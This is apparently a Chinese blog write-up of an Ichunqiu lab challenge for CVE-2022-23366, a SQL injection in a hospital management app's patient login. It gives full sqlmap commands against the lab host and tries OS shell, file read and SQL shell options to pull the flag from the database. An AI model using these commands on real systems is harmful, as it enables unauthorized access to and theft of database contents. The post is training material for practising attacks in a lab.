Home Ichunqiu Cve 2022 23366 Hospital Management Startup 1 Sqli
Post
Cancel

Ichunqiu Cve 2022 23366 Hospital Management Startup 1 Sqli

refer to:
https://yunjing.ichunqiu.com/cve/detail/740?type=1&pay=2

打开页面看一下:是个SQLI

看了下提示,是在病人登录页面. (找了其它的链接,没有发现有参数的东东)


手动测试,并没有发现SQLI报错:

还是用SQLMAP试一下吧。。。--string 就是登录错误显示的文本好了。

sqlmap -u http://eci-2ze49uvu6avqxhmouatl.cloudeci1.ichunqiu.com/patientlogin.php --data="loginid=patient&password=patient888&submit=Login" -p "loginid" --param-d
el="&" --string="Change a few things up and try submitting again"

显示可以发现有SQLI, 但是跑到最后又不行。。。

运行到第三次后发现了: (加上了--debug )

完整命令:

sqlmap -u http://eci-2ze49uvu6avqxhmouatl.cloudeci1.ichunqiu.com/patientlogin.php --data="loginid=patient&password=patient888&submit=Login" -p "loginid" --param-del="&" --string="Change a few things up and try submitting again" --debug

尝试获得flag:

--os-shell 不行

--sql-shell 不行

--file-read=/flags 不行 ( 此时还在猜测 flag 位于 /flag)

看了一下其他人的资料,发现flag 隐藏在db 中。

于是 :

--dbs

-D ctf --tables   进一步查看 cft 数据库下面的 所有 表

--sql-shell

sqlmap -u http://eci-2ze49uvu6avqxhmouatl.cloudeci1.ichunqiu.com/patientlogin.php --data="loginid=patient&password=patient888&submit=Login" -p "loginid" --param-del="&" --string="Change a few things up and try submitting again" --debug --sql-shell

然后 select * from ctf.flag;

小结:

1. 不是每个SQLI都是通过 ' 判断的,本例这个加不加' 都一样200

2. 不是每次SQLMAP都会成功的。依赖于网络,本次是3次

3. 不是SQLMAP在前期 报了warning 说该参数可能不可被注入,就一定不可注入的。还是要看后面的结果的.

4. blind 方式获得数据,特别慢。几秒钟才一个字母。

5. blind 方式,貌似无法获得 os shell.  (可以看到sqlmap在多个位置进行尝试) 可以使用 sql shell, 但是获得结果也特别慢。

This post is licensed under CC BY 4.0 by the author.